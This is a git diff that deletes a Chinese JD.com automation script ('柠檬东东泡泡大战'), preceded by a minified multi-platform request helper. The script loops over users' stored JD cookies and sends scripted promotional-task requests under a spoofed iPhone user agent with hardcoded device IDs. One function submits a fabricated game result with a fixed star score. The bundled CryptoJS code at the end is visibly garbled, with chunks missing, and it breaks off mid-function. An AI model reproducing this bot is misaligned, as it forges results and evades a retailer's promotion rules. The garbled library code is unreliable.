s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/jd_ppdz.js b/backUp/jd_ppdz.js deleted file mode 100644 index c2866f4..0000000 --- a/backUp/jd_ppdz.js +++ /dev/null @@ -1,692 +0,0 @@ -/* - - - [task_local] - #柠檬东东泡泡大战 - 1 0 * * * https://raw.githubusercontent.com/panghu999/panghu/master/jd_ppdz.js, tag=柠檬东东泡泡大战, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true -*/ - -const $ = new Env('柠檬东东泡泡大战'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -const randomCount = $.isNode() ? 20 : 5; -const notify = $.isNode() ? require('./sendNotify') : ''; -let merge = {} -let codeList = [] -const logs =0; -let allMessage = ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -const JD_API_HOST = `https://api.m.jd.com/client.action`; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - $.beans = 0 - message = '' - - //await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - - await star() - await rank() - } - } - -if ($.isNode() && allMessage) { - await notify.sendNotify(`${$.name}`, `${allMessage}` ) - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function star(){ -for(let i = 0; i < 5; i ++){ -no1 = i; - -await fx5() -await shop() -await shop1() -await shop2() -await shop3() -} -} - - -function fx5(timeout = 0) { -message = `【京东账号${$.index}】${$.nickName}\n`; - return new Promise((resolve) => { - setTimeout( ()=>{ - let url = { - url : `https://api.m.jd.com/api?body=&clientVersion=8.8.8&uuid=86763302131156838bc92874434&client=H5&appid=zuma-web&functionId=activity_shareTask`, - headers: { - "Host": "api.m.jd.com", - "Origin": "https://jingqih5.m.jd.com", - "Cookie": cookie, - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/4585826605;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - } - - } - - $.get(url, async (err, resp, data) => { - try { - //console.log(url.url) - //console.log(data) - data = JSON.parse(data); - console.log(data) - //await notify.sendNotify(`${$.name} - 柠檬jxgc`, `京东账号${$.index} ${$.nickName}`+"电动车制造:"+data) - if (data.code === 0) { - // console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) - //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆:2000步\n"+data.msg) - } else { - //console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) - //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆2000步\n步数不足或今日你已经兑换") - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve() - } - }) - },timeout) - }) -} - -function shop(timeout = 0) { - - return new Promise((resolve) => { - setTimeout( ()=>{ - let url = { - url : `https://api.m.jd.com/api?body={"shopId":"1000000127"}&clientVersion=8.8.8&uuid=86763302131156838bc92874435&client=H5&appid=zuma-web&functionId=activity_followShop`, - headers: { - "Host": "api.m.jd.com", - "Origin": "https://jingqih5.m.jd.com", - "Cookie": cookie, - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/4585826605;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - } - - } - - $.get(url, async (err, resp, data) => { - try { - //console.log(url.url) - //console.log(data) - data = JSON.parse(data); - // url = data.taskInfo.allValues.value - console.log(url) - //await notify.sendNotify(`${$.name} - 柠檬jxgc`, `京东账号${$.index} ${$.nickName}`+"电动车制造:"+data) - if (data.code === 0) { - // console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) - //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆:2000步\n"+data.msg) - } else { - //console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) - //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆2000步\n步数不足或今日你已经兑换") - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve() - } - }) - },timeout) - }) -} -function shop1(timeout = 0) { - - return new Promise((resolve) => { - setTimeout( ()=>{ - let url = { - url : `https://api.m.jd.com/api?body={"hallId":"https://pro.m.jd.com/mall/active/Y9FVe619hMoajzqpxky1CQQJAkk/index.html?babelChannel=ttt10"}&clientVersion=8.8.8&uuid=86763302131156838bc92874434&client=H5&appid=zuma-web&functionId=activity_stroll`, - headers: { - "Host": "api.m.jd.com", - "Origin": "https://jingqih5.m.jd.com", - "Cookie": cookie, - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/4585826605;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - } - - } - - $.get(url, async (err, resp, data) => { - try { - //console.log(url.url) - //console.log(data) - data = JSON.parse(data); - // url = data.taskInfo.allValues.value - console.log(url) - //await notify.sendNotify(`${$.name} - 柠檬jxgc`, `京东账号${$.index} ${$.nickName}`+"电动车制造:"+data) - if (data.code === 0) { - // console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) - //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆:2000步\n"+data.msg) - } else { - //console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) - //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆2000步\n步数不足或今日你已经兑换") - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve() - } - }) - },timeout) - }) -} - -function shop2(timeout = 0) { - - return new Promise((resolve) => { - setTimeout( ()=>{ - let url = { - url : `https://api.m.jd.com/api?body={"goodId":"100009255069"}&clientVersion=8.8.8&uuid=86763302131156838bc92874434&client=H5&appid=zuma-web&functionId=activity_followGood`, - headers: { - "Host": "api.m.jd.com", - "Origin": "https://jingqih5.m.jd.com", - "Cookie": cookie, - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/4585826605;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - } - - } - - $.get(url, async (err, resp, data) => { - try { - //console.log(url.url) - //console.log(data) - data = JSON.parse(data); - // url = data.taskInfo.allValues.value - console.log(url) - //await notify.sendNotify(`${$.name} - 柠檬jxgc`, `京东账号${$.index} ${$.nickName}`+"电动车制造:"+data) - if (data.code === 0) { - // console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) - //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆:2000步\n"+data.msg) - } else { - //console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) - //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆2000步\n步数不足或今日你已经兑换") - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve() - } - }) - },timeout) - }) -} -function shop3(timeout = 0) { - - return new Promise((resolve) => { - setTimeout( ()=>{ - let url = { - url : `https://api.m.jd.com/api?body={"goodId":"100010338198"}&clientVersion=8.8.8&uuid=86763302131156838bc92874434&client=H5&appid=zuma-web&functionId=activity_followGood`, - headers: { - "Host": "api.m.jd.com", - "Origin": "https://jingqih5.m.jd.com", - "Cookie": cookie, - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/4585826605;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - } - - } - - $.get(url, async (err, resp, data) => { - try { - //console.log(url.url) - //console.log(data) - data = JSON.parse(data); - // url = data.taskInfo.allValues.value - console.log(url) - //await notify.sendNotify(`${$.name} - 柠檬jxgc`, `京东账号${$.index} ${$.nickName}`+"电动车制造:"+data) - if (data.code === 0) { - // console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) - //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆:2000步\n"+data.msg) - } else { - //console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) - //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆2000步\n步数不足或今日你已经兑换") - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve() - } - }) - },timeout) - }) -} -function task(timeout = 0) { - - return new Promise((resolve) => { - setTimeout( ()=>{ - let url = { - url : `https://api.m.jd.com/api?body=&clientVersion=8.8.8&uuid=86763302131156838bc92874434&client=H5&appid=zuma-web&functionId=activity_taskInfo`, - headers: { - "Host": "api.m.jd.com", - "Origin": "https://jingqih5.m.jd.com", - "Cookie": cookie, - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/4585826605;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - } - - } - - $.get(url, async (err, resp, data) => { - try { - //console.log(url.url) - //console.log(data) - data = JSON.parse(data); - // url = data.taskInfo.allValues.value - console.log(url) - //await notify.sendNotify(`${$.name} - 柠檬jxgc`, `京东账号${$.index} ${$.nickName}`+"电动车制造:"+data) - if (data.code === 0) { - // console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) - //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆:2000步\n"+data.msg) - } else { - //console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) - //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆2000步\n步数不足或今日你已经兑换") - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve() - } - }) - },timeout) - }) -} - - - - - -function rank(timeout = 0) { - - return new Promise((resolve) => { - setTimeout( ()=>{ - let url = { - url : `https://api.m.jd.com/api?body=&clientVersion=8.8.8&uuid=86763302131156838bc92874434&client=H5&appid=zuma-web&functionId=activity_info`, - headers: { - "Host": "api.m.jd.com", - "Origin": "https://jingqih5.m.jd.com", - "Cookie": cookie, - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/4585826605;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - } - - } - - $.get(url, async (err, resp, data) => { - try { - //console.log(url.url) - //console.log(data) startTime":"2021-05-31 00:00:00"," - const result = JSON.parse(data); - score = data.match(/"score":(.*?),/)[1] - pm = data.match(/rank":"(.*?)","/)[1] - kssj = data.match(/startTime":"(.*?)","/)[1] - jssj = data.match(/endTime":"(.*?)","/)[1] - //$.log(result) - //$.log(result.score) - //await notify.sendNotify(`${$.name} - 柠檬jxgc`, `京东账号${$.index} ${$.nickName}`+"电动车制造:"+data) - if (result.errorCode === 0) { - $.log("\n柠檬东东泡泡大战,今日任务已完成\n") - $.log("\n当前个人积分:"+score+"\n当前个人排名:"+pm) - $.log("\n开始时间:"+kssj+"\n结束时间:"+jssj) - //allMessage += `${$.name} - 柠檬东东泡泡大战`, `京东账号${$.index} ${$.nickName}`+`\n柠檬东东泡泡大战,今日任务已完成\n`+`\n当前个人积分:`+score+`\n当前个人排名:`+pm+`\n开始时间:`+kssj+`\n结束时间:`+jssj - //allMessage += `京东账号${$.index}-${$.nickName || $.UserName}\n柠檬东东泡泡大战,今日任务已完成\n当前个人积分:score\n当前个人排名:pm\n开始时间:kssj\n结束时间:jssj${$.index !== cookiesArr.length ? '\n\n' : '\n\n'}`; -} else { - - //console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) - //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆2000步\n步数不足或今日你已经兑换") - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve() - } - }) - },timeout) - }) -} - - - -function sf(timeout = 0) { -shuju = `{"ts":+ts,"token":+token,"maxRound":1,"eggRoundCount":0,"roundStars":{"1":4}}` - - return new Promise((resolve) => { - setTimeout( ()=>{ - let url = { - url : `https://api.m.jd.com/api?appid=orderCenter&functionId=picker_submitResult&clientVersion=8.0.0&client=m&body=`+a(shuju), - headers: { - "referer": "https://jingqih5.m.jd.com", - "Origin": "https://jingqih5.m.jd.com", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68", - } - - } - - $.get(url, async (err, resp, data) => { - try { - //console.log(url.url) - console.log(data) - //startTime":"2021-05-31 00:00:00"," - const result = JSON.parse(data); - //token = data.match(/token":"(.*?)"/)[1] - //ts = data.match(/ts":(.*?)}/)[1] - //kssj = data.match(/startTime":"(.*?)","/)[1] - //jssj = data.match(/endTime":"(.*?)","/)[1] - //$.log(result) - //$.log(result.score) - //await notify.sendNotify(`${$.name} - 柠檬jxgc`, `京东账号${$.index} ${$.nickName}`+"电动车制造:"+data) - if (result.status === 0) { - //$.log(token); - $.log(ts); - //$.log("\n当前个人积分:"+score+"\n当前个人排名:"+pm) - // $.log("\n开始时间:"+kssj+"\n结束时间:"+jssj) - //await notify.sendNotify(`${$.name} - 柠檬东东泡泡大战`, `京东账号${$.index} ${$.nickName}`+`\n柠檬东东泡泡大战,今日任务已完成\n`+`\n当前个人积分:`+score+`\n当前个人排名:`+pm+`\n开始时间:`+kssj+`\n结束时间:`+jssj) - } else { - //console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) - //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆2000步\n步数不足或今日你已经兑换") - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve() - } - }) - },timeout) - }) -} -function info(timeout = 0) { - - return new Promise((resolve) => { - setTimeout( ()=>{ - let url = { - url : `https://api.m.jd.com/api?appid=orderCenter&functionId=picker_getUserInfo&clientVersion=8.0.0&client=m&body=5GlOj7xTF%2Fw%3D`, - headers: { - "referer": "https://jingqih5.m.jd.com", - "Origin": "https://jingqih5.m.jd.com", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68", - } - - } - - $.get(url, async (err, resp, data) => { - try { - //console.log(url.url) - //console.log(data) startTime":"2021-05-31 00:00:00"," - const result = JSON.parse(data); - token = data.match(/token":"(.*?)"/)[1] - ts = data.match(/ts":(.*?)}/)[1] - //kssj = data.match(/startTime":"(.*?)","/)[1] - //jssj = data.match(/endTime":"(.*?)","/)[1] - //$.log(result) - //$.log(result.score) - //await notify.sendNotify(`${$.name} - 柠檬jxgc`, `京东账号${$.index} ${$.nickName}`+"电动车制造:"+data) - if (result.status === 0) { - //$.log(token); - $.log(ts); - //$.log("\n当前个人积分:"+score+"\n当前个人排名:"+pm) - // $.log("\n开始时间:"+kssj+"\n结束时间:"+jssj) - //await notify.sendNotify(`${$.name} - 柠檬东东泡泡大战`, `京东账号${$.index} ${$.nickName}`+`\n柠檬东东泡泡大战,今日任务已完成\n`+`\n当前个人积分:`+score+`\n当前个人排名:`+pm+`\n开始时间:`+kssj+`\n结束时间:`+jssj) - } else { - //console.log("柠檬赚京豆步数换京豆:2000步"+data.msg) - //await notify.sendNotify(`${$.name} - 柠檬赚京豆步数换京豆`, `京东账号${$.index} ${$.nickName}`+"\n柠檬赚京豆步数换京豆2000步\n步数不足或今日你已经兑换") - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve() - } - }) - },timeout) - }) -} - - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data["retcode"] === 13) { - $.isLogin = false; //cookie过期 - return; - } - if (data["retcode"] === 0) { - $.nickName = (data["base"] && data["base"].nickname) || $.UserName; - } else { - $.nickName = $.UserName; - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - - -function CryptoJSs(){var t=t||function(t,e){var i=Object.create||function(){function t(){} -return function(e){var i;return t.prototype=e,i=new t,t.prototype=null,i}}(),n={},r=n.lib={},c=r.Base=function(){return{extend:function(t){var e=i(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),e.init.prototype=e,e.$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t) -t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty("toString")&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}}}(),o=r.WordArray=c.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=void 0!=e?e:4*t.length},toString:function(t){return(t||s).stringify(this)},concat:function(t){var e=this.words,i=t.words,n=this.sigBytes,r=t.sigBytes;if(this.clamp(),n%4) -for(var c=0;c>>2]>>>24-c%4*8&255;e[n+c>>>2]|=o<<24-(n+c)%4*8}else -for(var c=0;c>>2]=i[c>>>2];return this.sigBytes+=r,this},clamp:function(){var e=this.words,i=this.sigBytes;e[i>>>2]&=4294967295<<32-i%4*8,e.length=t.ceil(i/4)},clone:function(){var t=c.clone.call(this);return t.words=this.words.slice(0),t},random:function(e){for(var i,n=[],r=0;r>16)&n,e=18e3*(65535&e)+(e>>16)&n;var r=(i<<16)+e&n;return r/=4294967296,(r+=.5)*(t.random()>.5?1:-1)}}(4294967296*(i||t.random()));i=987654071*c(),n.push(4294967296*c()|0)} -return new o.init(n,e)}}),a=n.enc={},s=a.Hex={stringify:function(t){for(var e=t.words,i=t.sigBytes,n=[],r=0;r>>2]>>>24-r%4*8&255;n.push((c>>>4).toString(16)),n.push((15&c).toString(16))} -return n.join("")},parse:function(t){for(var e=t.length,i=[],n=0;n>>3]|=parseInt(t.substr(n,2),16)<<24-n%8*4;return new o.init(i,e/2)}},l=a.Latin1={stringify:function(t){for(var e=t.words,i=t.sigBytes,n=[],r=0;r>>2]>>>24-r%4*8&255;n.push(String.fromCharCode(c))} -return n.join("")},parse:function(t){for(var e=t.length,i=[],n=0;n>>2]|=(255&t.charCodeAt(n))<<24-n%4*8;return new o.init(i,e)}},h=a.Utf8={stringify:function(t){try{return decodeURIComponent(escape(l.stringify(t)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(t){return l.parse(unescape(encodeURIComponent(t)))}},u=r.BufferedBlockAlgorithm=c.extend({reset:function(){this._data=new o.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=h.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(e){var i=this._data,n=i.words,r=i.sigBytes,c=this.blockSize,a=4*c,s=r/a;s=e?t.ceil(s):t.max((0|s)-this._minBufferSize,0);var l=s*c,h=t.min(4*l,r);if(l){for(var u=0;u>>6-o%4*2;n[c>>>2]|=(a|s)<<24-c%4*8,c++} -return r.create(n,c)} -var i=t,n=i.lib,r=n.WordArray;i.enc.Base64={stringify:function(t){var e=t.words,i=t.sigBytes,n=this._map;t.clamp();for(var r=[],c=0;c>>2]>>>24-c%4*8&255,a=e[c+1>>>2]>>>24-(c+1)%4*8&255,s=e[c+2>>>2]>>>24-(c+2)%4*8&255,l=o<<16|a<<8|s,h=0;h<4&&c+.75*h>>6*(3-h)&63));var u=n.charAt(64);if(u) -for(;r.length%4;) -r.push(u);return r.join("")},parse:function(t){var i=t.length,n=this._map,r=this._reverseMap;if(!r){r=this._reverseMap=[];for(var c=0;c>>32-c)+e} -function n(t,e,i,n,r,c,o){var a=t+(e&n|i&~n)+r+o;return(a<>>32-c)+e} -function r(t,e,i,n,r,c,o){var a=t+(e^i^n)+r+o;return(a<>>32-c)+e} -function c(t,e,i,n,r,c,o){var a=t+(i^(e|~n))+r+o;return(a<>>32-c)+e} -var o=t,a=o.lib,s=a.WordArray,l=a.Hasher,h=o.algo,u=[];!function(){for(var t=0;t<64;t++) -u[t]=4294967296*e.abs(e.sin(t+1))|0}();var d=h.MD5=l.extend({_doReset:function(){this._hash=new s.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var o=0;o<16;o++){var a=e+o,s=t[a];t[a]=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8)} -var 